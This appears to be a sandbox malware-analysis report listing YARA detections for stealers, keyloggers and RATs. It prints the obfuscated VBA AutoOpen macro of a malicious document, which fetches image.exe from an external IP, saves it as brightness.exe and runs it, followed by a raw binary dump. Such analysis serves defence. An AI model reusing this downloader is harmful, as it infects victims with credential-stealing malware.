Source: 0000000F.00000001.2248691179.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000F.00000002.3731678723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000F.00000002.3731678723.0000000000B90000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000F.00000001.2248691179.0000000000B90000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.3760427867.000000001D271000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000002.3760427867.000000001D271000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	01:54:26
Start date:	06/01/2025
Path:	C:\Users\Public\Libraries\Aiymwhpj.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Aiymwhpj.PIF"
Imagebase:	0x400000
File size:	1'161'216 bytes
MD5 hash:	6047499517804F1EA76B508CA469DE99
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:54:26
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:54:26
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:54:26
Start date:	06/01/2025
Path:	C:\Users\Public\Libraries\jphwmyiA.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\jphwmyiA.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000013.00000001.2327344722.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000013.00000002.3731782871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000013.00000001.2327344722.0000000000B90000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.3761096680.0000000023881000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000013.00000002.3761096680.0000000023881000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000013.00000002.3731782871.0000000000B90000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: ThisDocument

Declaration

Line	Content
1	Attribute VB_Name = "ThisDocument"
2	Attribute VB_Base = "1Normal.ThisDocument"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = True
8	Attribute VB_Customizable = True

Executed Functions

Subroutine
AutoOpenAPIs: 6, Strings: 20, Number of lines: 59, Relevance: 70.059

APIs	Meta Information
CreateObject	CreateObject("MSXML2.ServerXMLHTTP")
CreateObject	CreateObject("Adodb.Stream")
Open	IServerXMLHTTPRequest2.Open("GET","http://147.124.216.113/image.exe",False)
Send
responsebody	IServerXMLHTTPRequest2.responsebody() -> ?P\x02\x00\x04\x0f?\x00\xfffd\x00\x00\x00@\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\x00????????????????4???????????\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x00O ??\x00\x00\x00\x00\xfffd?c??\x06? \x00\x00?\x06?\x00?\x06\x00@?\x00?\x00\x04\x00\x00\x00\x04\x00\x00\x00?\x12?\x00\x00\x00\x02\x00\x00\x10?\x00\x00\x10?\x00\x00\x00\x10\x00\x00\x00\x00\x00?\x07?\x00 \x08? \x00\x00\x00\x00\x00\x00\x00\x00?\x07?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x07\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x07?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00??t\x00?\x06?\x00?\x06?\x00\x00\x00\x00\x00\x00\x00 ????\x00?\x00?\x06?\x00?\x06\x00\x00\x00\x00\x00\x00 ???a\x00?\x00?\x06 \x00?\x06\x00\x00\x00\x00\x00\x00@???\x00\x00?\x00?\x07\x00\x00?\x06\x00\x00\x00\x00\x00\x00\x00????\x00?\x00?\x07?\x00?\x06\x00\x00\x00\x00\x00\x00@???\x00\x004\x00?\x07\x00\x00?\x07\x00\x00\x00\x00\x00\x00\x00????\x00\x18\x00?\x07?\x00?\x07\x00\x00\x00\x00\x00\x00@????\x00?\x00?\x07?\x00?\x07\x00\x00\x00\x00\x00\x00@???c\x00? \x08? ?\x07\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00?\x12\x00\x00?\x11\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@????U\x00\x00\x01\x00?@??????@?@???\x01\x00?\x00??@?????\x00?????@???\x01\x00?\x00??@???\x03\x00?\xfffd??@?????\x05\x00????@?????@???????@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@\x04\x00\x00\x00?@?@?@?@?@?@?@?@?????@??????\x00\x00\x00????\x00?@??????\x00\x00\x01\x00\x00\x00?\x00\x00\x00????\x03??@???????A?\x02\x00\x00\xfffd\x00\x00???????????P????P????P???????A\x00\x00\x00\x00\x00?\x00\x00\x00???\x00\x00\x00?@?@?@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@\x0c\x00?@?@?@?@?@?@?@?@?@????????????G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G????\x00?????I??????????G???G???G???G???W\x00?????????????????`????????\xfffd????????????????t???@?????????@???????????????@?????????????????????@???????????????@???????????????????????????????????????@???????????????????????????????????????????????????@?C????I????????????????@?A???I??????????????????G??????????G????????????\x00???\x03????\x03???G????????????G?????\x00????G?\x00????????G???????????-?????????\x0b???????????\x00?????G??????G?????????h\x10?\x00\x14j?????????????G????\xfffd?????\x02\x00??????????G??????????????G????????????????????G????????????\x10\x01???\x00??h??j???????????????G??G??G?????\x00????????????????h????????????????\x00?????? ???G??\x00???????F????????????????f??????A????C??\x03?????????\x03??\xfffd\x01?????\xfffd\x01?????\xfffd\x01?????j???A\x00??????????????G??A\x00???G?j???A\x00???G????????u??G????\x00\x00?????????G??????????????????G??????\x01???????????????????G????G????\x00??????G??G???????????G???????????G????\x01\x00????????????\x03????\xfffd\x01?????????\xfffd\x01???????????????\x01??\x00?\xfffd??????????????????G?????????????????????????????G???????G??G??????????\x00???????????????????G????????????????????\x00??????????????\x00??????????????????\x00??????????????????????????\x03?????????????????????????\xfffd\x01?????????\xfffd\x01?????????????\xfffd\x01?????????\xfffd\x01??????????????\x00?????????\x00????????????\x13?????????????\x00?????????\x00???????a??\x0b????????G?\x13??????????\x00h?????????????\x13????\x02\x00??G?\x13??G??G???????????????????\x00????????@\x00????????????????????????? ???????????????????????????????????\x02????l??????\x00??????????\x00???\x00?\xfffd\x00?\x0b??\x00?\xfffd????????\x00?\xfffd\x01??????j???\xfffd\x01????????????\x00????????????????jU??\x0b???????????\x00????????G????????????????????????????\x00??????\x00???\x00?\xfffd\x01???????????\xfffd\x01?????????????\x00????????????\x00??????????Q?????\xfffd\x00%????????????????????\x0b?c????????\x00???????\x00??A????????????????????????????????????\x00??????A??????????????????????????????????????????????????????????????????@?x???????????\x04???????????????????????????@??G????????\xfffd???????????????G???@????????????????????????????????\|????????????????????????????????????????????????????????????????????????????????\xfffd?????????????\x7f???????????????????????????\x1f???????????????@??????\x0c?s????????????????????????????????????\x00?????\xfffd????????\xfffd\x10?????????????????u?????????R???z?????????@????????\x00\x01????H???????????G????????????????????G?????????\x00??h\x10?\x00\x01j????G??G???@??????????????G???G???????????\x00?????G????^?????????????????????7???????\x00?????????????????????\xfffd?????????\xfffd\x00???\xfffd??\x00???????\x00??????????????\x00???A\x00?\xfffd\x00?????????\x00?????????????????????????????????????????\xfffd???8??\x00??\x02\x00???????\xfffd\x00??\xfffd\x00??????????????????????????\x00?????????????????\x01?\x0b??????\x00?\x0b??????????G?\x00????????????\x00???\x00???????????\x00???????????????\xfffd????????????????????????????????????????\xfffd???????????????????G?????\x00??????\x02???\xfffd??????????(\x00???????\x00???????????????\xfffd???????\xfffd?\x00??????????\x01?>?\xfffd\x00??????@?\x00???????????\xfffd?f?f?????????f?f?f??????????@?\x00???????????? ??K??????\x07\x00???????@?\x00????????????\x00???????????f?f?f???????????????????????\x00???@????????\xfffd???????????????@?\x00??????????????\x00\x00?????????? ????????????????????\x03\x00????-\x00??????j??????\x00????????????????????\x00\x00??????????????????? ???\xfffd\x00\x00???n???\x00?????????????????????????????\xfffd\x00\x00?\x00???????????\x00????????\x00???????????????????????????7\x00???;???@??????????\x01\x00??????\xfffd\x00%????\x0b???\x00?\x04?????\x07\x00???????????????????\x00?\xfffd?????\x00??s??\xfffd??P\x00???????????%??????????????G?G??G?G\xfffd\x04??G???????????????????@??????G????h?????????7\x00?
Shell	Shell(""brightness.exe"") -> 5560

Strings	Decrypted Strings
"M""S""X""M""L""2"".""S""er""ver""XM""LH""TTP"
"Ad""od""b.S""tr""ea""m"
"h"
"t"
"t""p:/""/147.124.216.113/image"
"."
"e"
"x"
"e"
"GET"
"brightness"
"."
"e"
"x"
"e"
"""brightness"
"."
"e"
"x"
"e"""

Line	Instruction	Meta Information
9	Sub AutoOpen()
11	Dim xHttp	executed
16	Set xHttp = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & "." & "S" & "er" & "ver" & "XM" & "LH" & "TTP")	CreateObject("MSXML2.ServerXMLHTTP") executed
18	Dim bStrm
20	Set bStrm = CreateObject("Ad" & "od" & "b.S" & "tr" & "ea" & "m")	CreateObject("Adodb.Stream") executed
24	Dim nirm1
25	nirm1 = "h"
26	Dim nirm2
27	nirm2 = "t"
28	Dim nirm3
29	nirm3 = "t" & "p:/" & "/147.124.216.113/image"
30	Dim nirm4
31	nirm4 = "."
32	Dim nirm5
33	nirm5 = "e"
34	Dim nirm6
35	nirm6 = "x"
36	Dim nirm7
37	nirm7 = "e"
41	Dim plpl
42	plpl = nirm1 & nirm2 & nirm3 & nirm4 & nirm5 & nirm6 & nirm7
45	xHttp.Open "GET", plpl, False	IServerXMLHTTPRequest2.Open("GET","http://147.124.216.113/image.exe",False) executed
46	xHttp.Send	Send
52	With bStrm
53	. Type = 1
54	. Open
55	. write xHttp.responsebody	IServerXMLHTTPRequest2.responsebody() -> ?P\x02\x00\x04\x0f?\x00\xfffd\x00\x00\x00@\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\x00????????????????4???????????\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x00O ??\x00\x00\x00\x00\xfffd?c??\x06? \x00\x00?\x06?\x00?\x06\x00@?\x00?\x00\x04\x00\x00\x00\x04\x00\x00\x00?\x12?\x00\x00\x00\x02\x00\x00\x10?\x00\x00\x10?\x00\x00\x00\x10\x00\x00\x00\x00\x00?\x07?\x00 \x08? \x00\x00\x00\x00\x00\x00\x00\x00?\x07?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x07\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x07?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00??t\x00?\x06?\x00?\x06?\x00\x00\x00\x00\x00\x00\x00 ????\x00?\x00?\x06?\x00?\x06\x00\x00\x00\x00\x00\x00 ???a\x00?\x00?\x06 \x00?\x06\x00\x00\x00\x00\x00\x00@???\x00\x00?\x00?\x07\x00\x00?\x06\x00\x00\x00\x00\x00\x00\x00????\x00?\x00?\x07?\x00?\x06\x00\x00\x00\x00\x00\x00@???\x00\x004\x00?\x07\x00\x00?\x07\x00\x00\x00\x00\x00\x00\x00????\x00\x18\x00?\x07?\x00?\x07\x00\x00\x00\x00\x00\x00@????\x00?\x00?\x07?\x00?\x07\x00\x00\x00\x00\x00\x00@???c\x00? \x08? ?\x07\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00?\x12\x00\x00?\x11\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@????U\x00\x00\x01\x00?@??????@?@???\x01\x00?\x00??@?????\x00?????@???\x01\x00?\x00??@???\x03\x00?\xfffd??@?????\x05\x00????@?????@???????@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@\x04\x00\x00\x00?@?@?@?@?@?@?@?@?????@??????\x00\x00\x00????\x00?@??????\x00\x00\x01\x00\x00\x00?\x00\x00\x00????\x03??@???????A?\x02\x00\x00\xfffd\x00\x00???????????P????P????P???????A\x00\x00\x00\x00\x00?\x00\x00\x00???\x00\x00\x00?@?@?@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@\x0c\x00?@?@?@?@?@?@?@?@?@????????????G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G????\x00?????I??????????G???G???G???G???W\x00?????????????????`????????\xfffd????????????????t???@?????????@???????????????@?????????????????????@???????????????@???????????????????????????????????????@???????????????????????????????????????????????????@?C????I????????????????@?A???I??????????????????G??????????G????????????\x00???\x03????\x03???G????????????G?????\x00????G?\x00????????G???????????-?????????\x0b???????????\x00?????G??????G?????????h\x10?\x00\x14j?????????????G????\xfffd?????\x02\x00??????????G??????????????G????????????????????G????????????\x10\x01???\x00??h??j???????????????G??G??G?????\x00????????????????h????????????????\x00?????? ???G??\x00???????F????????????????f??????A????C??\x03?????????\x03??\xfffd\x01?????\xfffd\x01?????\xfffd\x01?????j???A\x00??????????????G??A\x00???G?j???A\x00???G????????u??G????\x00\x00?????????G??????????????????G??????\x01???????????????????G????G????\x00??????G??G???????????G???????????G????\x01\x00????????????\x03????\xfffd\x01?????????\xfffd\x01???????????????\x01??\x00?\xfffd??????????????????G?????????????????????????????G???????G??G??????????\x00???????????????????G????????????????????\x00??????????????\x00??????????????????\x00??????????????????????????\x03?????????????????????????\xfffd\x01?????????\xfffd\x01?????????????\xfffd\x01?????????\xfffd\x01??????????????\x00?????????\x00????????????\x13?????????????\x00?????????\x00???????a??\x0b????????G?\x13??????????\x00h?????????????\x13????\x02\x00??G?\x13??G??G???????????????????\x00????????@\x00????????????????????????? ???????????????????????????????????\x02????l??????\x00??????????\x00???\x00?\xfffd\x00?\x0b??\x00?\xfffd????????\x00?\xfffd\x01??????j???\xfffd\x01????????????\x00????????????????jU??\x0b???????????\x00????????G????????????????????????????\x00??????\x00???\x00?\xfffd\x01???????????\xfffd\x01?????????????\x00????????????\x00??????????Q?????\xfffd\x00%????????????????????\x0b?c????????\x00???????\x00??A????????????????????????????????????\x00??????A??????????????????????????????????????????????????????????????????@?x???????????\x04???????????????????????????@??G????????\xfffd???????????????G???@????????????????????????????????\|????????????????????????????????????????????????????????????????????????????????\xfffd?????????????\x7f???????????????????????????\x1f???????????????@??????\x0c?s????????????????????????????????????\x00?????\xfffd????????\xfffd\x10?????????????????u?????????R???z?????????@????????\x00\x01????H???????????G????????????????????G?????????\x00??h\x10?\x00\x01j????G??G???@??????????????G???G???????????\x00?????G????^?????????????????????7???????\x00?????????????????????\xfffd?????????\xfffd\x00???\xfffd??\x00???????\x00??????????????\x00???A\x00?\xfffd\x00?????????\x00?????????????????????????????????????????\xfffd???8??\x00??\x02\x00???????\xfffd\x00??\xfffd\x00??????????????????????????\x00?????????????????\x01?\x0b??????\x00?\x0b??????????G?\x00????????????\x00???\x00???????????\x00???????????????\xfffd????????????????????????????????????????\xfffd???????????????????G?????\x00??????\x02???\xfffd??????????(\x00???????\x00???????????????\xfffd???????\xfffd?\x00??????????\x01?>?\xfffd\x00??????@?\x00???????????\xfffd?f?f?????????f?f?f??????????@?\x00???????????? ??K??????\x07\x00???????@?\x00????????????\x00???????????f?f?f???????????????????????\x00???@????????\xfffd???????????????@?\x00??????????????\x00\x00?????????? ????????????????????\x03\x00????-\x00??????j??????\x00????????????????????\x00\x00??????????????????? ???\xfffd\x00\x00???n???\x00?????????????????????????????\xfffd\x00\x00?\x00???????????\x00????????\x00???????????????????????????7\x00???;???@??????????\x01\x00??????\xfffd\x00%????\x0b???\x00?\x04?????\x07\x00???????????????????\x00?\xfffd?????\x00??s??\xfffd??P\x00???????????%??????????????G?G??G?G\xfffd\x04??G???????????????????@??????G????h?????????7\x00? executed
59	Dim monu1
60	monu1 = "brightness"
61	Dim monu2
62	monu2 = "."
64	Dim monu3
65	monu3 = "e"
67	Dim monu4
68	monu4 = "x"
70	Dim monu5
71	monu5 = "e"
73	Dim monu6
74	monu6 = monu1 & monu2 & monu3 & monu4 & monu5
77	. savetofile monu6, 2
80	Dim parveen1
81	Dim parveen2
82	Dim parveen3
83	Dim parveen4
